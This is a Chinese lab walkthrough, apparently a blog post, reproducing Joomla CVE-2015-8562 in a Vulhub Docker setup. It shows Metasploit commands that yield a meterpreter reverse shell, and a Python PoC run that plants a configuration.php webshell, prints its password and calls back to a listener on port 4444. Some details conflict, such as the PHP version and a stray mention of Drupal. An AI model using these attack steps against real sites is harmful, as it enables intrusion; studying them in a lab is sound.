目录
1、确保系统已安装 Docker 和 Docker-Compose
本文讲解Joomla反序列化漏洞CVE-2015-8562的原理,并通过Docker搭建Vulhub漏洞环境(Joomla 3.4.5+MySQL 5),分别演示了MSF和Python脚本两种渗透方法。MSF利用multi/http/joomla_http_header_rce模块获取meterpreter会话,Python脚本则通过植入后门实现控制。两种方法均验证了漏洞的有效性,并成功获取系统权。
一、Joomla反序列化漏洞
1、漏洞简介
CVE-2015-8562 是 Joomla! CMS 中存在的一个高危反序列化漏洞,主要影响其用户会话管理组件,攻击者可利用该漏洞执行远程代码。
| 条目 | 详情 |
|---|---|
| CVE 编号 | CVE-2015-8562 |
| 漏洞名称 | Joomla PHP 对象注入漏洞 |
| 披露时间 | 2015年12月14日 |
| 漏洞类型 | 反序列化漏洞 -> 远程代码执行 (RCE) |
| 影响组件 | Joomla! Core |
| 利用前提 | 无需登录(远程匿名利用) |
| CVSS 分数 | High (~ 9.0+) |
| 影响版本 | Joomla! 1.5.x, 3.x (prior to 3.4.6) Joomla! 2.x 不受影响 |
2、漏洞原理
该漏洞源于 Joomla! 对用户会话(Session)数据的不安全反序列化处理。具体来说:
Joomla! 在处理用户会话时,会将会话数据存储在服务器端(如文件、数据库等),并通过session_id标识用户会话。在 3.2.0 至 3.4.5 版本中,Joomla! 使用了unserialize()函数解析会话数据,但未对数据进行严格的校验和过滤。攻击者可通过构造恶意的序列化数据,利用以下流程触发漏洞:
- 生成包含恶意代码的序列化字符串(如包含 PHP 对象的序列化数据,其中对象的
__destruct()或__wakeup()等魔术方法中包含执行命令的逻辑)。 - 通过某种方式(如利用会话固定漏洞、或在特定场景下覆盖服务器端的会话数据)将恶意序列化数据注入到目标用户的会话存储中。
- 当 Joomla! 读取并反序列化该会话数据时,
unserialize()函数会自动触发恶意对象中的魔术方法,导致远程代码执行。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Joomla反序列化漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
# 进入 joomla CVE-2015-8562的漏洞环境目录
cd joomla/CVE-2015-8562

4、启动漏洞环境
在joomla/CVE-2015-8562 目录下,使用 docker-compose 命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
# 在后台启动环境
# docker-compose up -d
/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
"class": algorithms.Blowfish,
Creating network "cve-2015-8562_default" with the default driver
Pulling mysql (mysql:5)...
5: Pulling from library/mysql
20e4dcae4c69: Pull complete
1c56c3d4ce74: Pull complete
e9f03a1c24ce: Pull complete
68c3898c2015: Pull complete
6b95a940e7b6: Pull complete
90986bb8de6e: Pull complete
ae71319cb779: Pull complete
ffc89e9dfd88: Pull complete
43d05e938198: Pull complete
064b2d298fba: Pull complete
df9a4d85569b: Pull complete
Digest: sha256:4bc6bc963e6d8443453676cae56536f4b8156d78bae03c0145cbe47c2aad73bb
Status: Downloaded newer image for mysql:5
Pulling web (vulhub/joomla:3.4.5)...
3.4.5: Pulling from vulhub/joomla
7ccc78f8af6d: Pull complete
4f4fb700ef54: Pull complete
2a2bcc7f1cd9: Pull complete
ac4c4439ccb3: Pull complete
935c4a4caaae: Pull complete
421442c0ed41: Pull complete
2f972f2ac0cb: Pull complete
fd2c7f36b555: Pull complete
6085ecc96fc7: Pull complete
231d26baa2e4: Pull complete
c0ec737dd5a7: Pull complete
215736fc9836: Pull complete
89dd52aca51b: Pull complete
7cb7deebe1fb: Pull complete
ce2efccfec89: Pull complete
83103631c83a: Pull complete
08e286f466ba: Pull complete
033457f52754: Pull complete
dbb67845b659: Pull complete
ee03f910fd60: Pull complete
5dd2bed509a0: Pull complete
945fc775e87b: Pull complete
Digest: sha256:9f57b3b6bd8ded256ff543a9d3c2be591619eec458c444b4b2c844c5d3a990fc
Status: Downloaded newer image for vulhub/joomla:3.4.5
Creating cve-2015-8562_mysql_1 ... done
Creating cve-2015-8562_web_1 ... done
命令执行后,Docker 会完成拉取一个包含 Joomla3.4.5(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示从返回结果中的容器名称cve-2015-8562_web_1和cve-2015-8562_mysql_1可以立即判断,这个环境即为cve-2015-8562的漏洞环境。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f807d3d2e214 vulhub/joomla:3.4.5 "bash /docker-entryp…" 20 minutes ago Up 20 minutes 0.0.0.0:8080->80/tcp, :::8080->80/tcp cve-2015-8562_web_1
b9682c3c6976 mysql:5 "docker-entrypoint.s…" 21 minutes ago Up 20 minutes 3306/tcp, 33060/tcp cve-2015-8562_mysql_1

| 项目 | 说明 |
|---|---|
| 容器数量 | 2 个(一个 Joomla 应用容器,一个 MySQL 数据库容器) |
| 环境用途 | 复现 Joomla 反序列化漏洞 CVE-2015-8562(对应 Vulhub 的cve-2015-8562环境) |
(1)Joomla 应用容器
- CONTAINER ID:
f807d3d2e214(容器唯一标识) - IMAGE:
vulhub/joomla:3.4.5- 基于官方 Joomla 3.4.5 版本构建的漏洞环境镜像(该版本正是 CVE-2015-8562 漏洞的受影响版本)。
- COMMAND:
"bash /docker-entryp…"- 容器启动时执行的入口脚本(
/docker-entrypoint.sh),用于初始化 Joomla 服务(如配置数据库连接、启动 Web 服务器等)。
- 容器启动时执行的入口脚本(
- CREATED/STATUS:20 分钟前创建,已运行 20 分钟
- 容器处于正常运行状态,未出现崩溃或退出。
- PORTS:
0.0.0.0:8080->80/tcp, :::8080->80/tcp- 端口映射:将容器内部的 80 端口(Joomla 默认 Web 端口)映射到宿主机的 8080 端口。
- 可通过
http://宿主机IP:8080访问 Joomla 应用(复现漏洞的目标地址)。
- NAMES:
cve-2015-8562_web_1- 容器名称,由 Docker Compose 自动生成,
web_1表示这是环境中的 Web 服务容器。
- 容器名称,由 Docker Compose 自动生成,
(2)MySQL 数据库容器
- CONTAINER ID:
b9682c3c6976 - IMAGE:
mysql:5- 使用 MySQL 5.x 版本作为 Joomla 的后端数据库(Joomla 依赖数据库存储内容和配置)。
- COMMAND:
"docker-entrypoint.s…"- MySQL 官方的入口脚本,用于初始化数据库服务(如设置 root 密码、创建默认数据库等)。
- CREATED/STATUS:21 分钟前创建,已运行 20 分钟
- 比 Web 容器早启动 1 分钟(数据库需先就绪,Web 应用才能连接),状态正常。
- PORTS:
3306/tcp, 33060/tcp- 容器内部暴露 3306 端口(MySQL 默认端口),但未映射到宿主机(仅在容器内部网络可见)。
- Joomla 容器通过内部网络(
cve-2015-8562_default网络)连接该数据库。
- NAMES:
cve-2015-8562_mysql_1- 容器名称,
mysql_1表示这是环境中的数据库服务容器。
- 容器名称,
6、访问JoomLa环境
(1)访问安装页面:
打开浏览器,访问 http://host-ip:8080进入Joomla环境,如下为我的渗透环境的URL地址。
http://192.168.59.128:8080
访问Joomla环境后直接被重定向到安装页面,如下所示。
http://192.168.59.128:8080/installation/index.php

(2)图形化安装
-
主要配置:填写站点名称等基本信息,然后点击“Next”。

-
数据库配置:这是最关键的一步,必须按以下填写:
选项 值 说明 Database Type MySQLi选择 MySQL 数据库 Hostname mysql:3306 必须是 db,这是 Docker 容器内数据库的主机名Username root数据库默认用户名 Password rootVulhub 预设的数据库密码 Database Name joomla可以自定义,但通常用这个 -
FTP 配置:直接点击“Next”跳过即可。
-
最后检查:预览配置,确认无误后点击“Install”。


-
安装完成,删除安装目录
安装成功后,点击 “Remove installation folder” 按钮删除安装目录。


(3)访问网站首页
http://192.168.59.128:8080/

(4)访问管理员后台
http://192.168.59.128:8080/administrator/

三、MSF法渗透实战
1、启动MSF
首先进入到终端,输入msfconsole启动 MSF,等待 MSF 初始化完成,你会看到命令行提示符变为 msf6 >。
msfconsole

2、探测Joomla漏洞
(1)探测网站的Web指纹
使用whatweb探测网站的php版本,如下所示。
whatweb http://192.168.59.128:8080
运行结果如下所示,获取到php的版本号为PHP/5.6.12,网站为Joomla。
http://192.168.59.128:8080 [200 OK] Apache[2.4.10], Bootstrap, Cookies[8bc282e145cce5a71f7c21f5329271be], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian) PHP/5.6.12], HttpOnly[8bc282e145cce5a71f7c21f5329271be], IP[192.168.59.128], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PHP[5.6.12], PasswordField[password], Script[text/javascript], Title[Home], X-Powered-By[PHP/5.6.12]

-
MetaGenerator[Joomla!...]: 明确确认这是 Joomla 站点。 -
PHP[5.6.40]: 获取 PHP 版本,这对于后续构造Payload很有用。
(2)search joomla
搜索探测Joomla版本的模块,命令如下所示。
search joomla

(3)启动模块
如上所示,序号为13对应的模块为auxiliary/scanner/http/joomla_version,启动该模块
use auxiliary/scanner/http/joomla_version
或者
use 13
(4)配置参数
# 设置目标主机IP
set RHOSTS 192.168.59.128
# 设置目标端口
set RPORT 8080
(5)探测Joomla版本
如下所示,执行run后获取到joomla版本号为Version: 3.4.5,php版本为5.6.12。
exploit
# 或者 run

(6)总结
信息收集结论:目标运行的是 Joomla 3.4.5,PHP 版本为 5.6.40。
-
漏洞影响范围:CVE-2015-8562 影响 Joomla 1.5.x 和 3.x prior to 3.4.6。
-
版本比对:我们的目标是 Joomla 3.4.5。
3.4.5 < 3.4.6,因此确定在受影响范围内。
3、CVE-2015-8562渗透实战
(1)search cve-2015-8562
search cve-2015-8562

(2)启动模块
选择并使用exploit/multi/http/joomla_http_header_rce模块,如下所示。
use exploit/multi/http/joomla_http_header_rce
或者
use 0
(3)查看配置
查看模块的配置选项,这会列出所有需要配置的参数。输出如下图所示,其中ip和端口是必须要配置的,即rhosts和rport。
show options

(4)配置模块
设置目标参数:
-
RHOSTS:设置目标主机的 IP 地址,我的环境为192.168.59.128 -
RPORT:如果目标端口号,我的环境为8080,即docker映射到了宿主机的8080端口。 -
TARGETURI:如果 Drupal 不是安装在网站根目录,则需要设置。对于 Vulhub 环境,通常是在根目录。故而本参数不需要进行配置。
set rhosts 192.168.59.128
set rport 8080
使用show options查看配置是否正确,如下所示。

(5)执行渗透
配置完毕后进行攻击,具体命令如下所示。
exploit
# 或者使用 run 命令
run
执行攻击后,MSF 会完成以下工作:
-
自动发送精心构造的请求到目标。
-
在目标服务器上执行 payload(默认为
php/meterpreter/reverse_tcp)。 -
建立一个新的 Meterpreter session。
成功后,命令行会发生变化,提示符变为 meterpreter >,如下所示渗透成功,输入getuid获取当前用户权限,输出为www-data的权限。

四、PoC法渗透实战
1、获取脚本
从GitHub仓库下载脚本,具体如下所示。
https://github.com/momika233/Joomla-3.4.6-RCE

2、执行探测漏洞脚本
运行 Joomla-3.4.6-RCE.py 这个漏洞利用脚本,并对目标 http://192.168.59.128:8080/ 进行漏洞检测,如下所示。
# 进入脚本目录
cd Joomla-3.4.6-RCE
# -t参数:http://192.168.59.128:8080/
python Joomla-3.4.6-RCE.py -t http://192.168.59.128:8080/
-
Joomla-3.4.6-RCE.py:这是要执行的 Python 脚本的文件名。从名称Joomla-3.4.6-RCE可知,这是一个用于利用 Joomla 3.4.6 版本远程代码执行漏洞的工具。 -
-t:这是脚本定义的一个命令行选项(参数)。通常-t或--target用于指定攻击目标。 -
http://192.168.59.128:8080/:这是提供给-t选项的值,即目标网站的 URL。它告诉脚本要去攻击哪个 Joomla 站点。
运行结果如下所示,说明存在漏洞。这里需要注意这条命令是一个无损的安全检测。它只会验证漏洞是否存在,而不会对目标进行真正的攻击或植入任何后门。它的目的是让安全研究人员或系统管理员快速确认他们的 Joomla 站点是否受到 CVE-2015-8562 漏洞的威胁。

3、漏洞渗透
如果想进行完整的攻击,需要加上 -e (exploit) 参数并提供回连地址和端口:
python Joomla-3.4.6-RCE.py -t http://192.168.59.128:8080/ -e -l 192.168.59.1 -p 4444
运行结果如下所示,下图红框标注了木马的URL地址和密码。
f:\Joomla-3.4.6-RCE-master>python Joomla-3.4.6-RCE.py -t http://192.168.59.128:8080/ -e -l 192.168.59.1 -p 4444
[*] Getting Session Cookie ..
[*] Getting CSRF Token ..
[*] Sending request ..
[+] Vulnerable
[*] Getting Session Cookie ..
[*] Getting CSRF Token ..
[*] Sending request ..
[+] Backdoor implanted, eval your code at http://192.168.59.128:8080//configuration.php in a POST with bhtkmvcyoexzafqfoyrcuntuzfmtaoyrdmnapttdmwscyvufhx
[*] Now it's time to reverse, trying with a system + perl

4、连接木马
使用蚁剑连接木马,配置如下所示,点击测试连接提示连接成功,点击左上角的添加。
URL地址:http://192.168.59.128:8080//configuration.php
密码:bhtkmvcyoexzafqfoyrcuntuzfmtaoyrdmnapttdmwscyvufhx

连接成功后效果如下所示,右键文件操作进入文件管理界面。


1861

被折叠的 条评论
为什么被折叠?



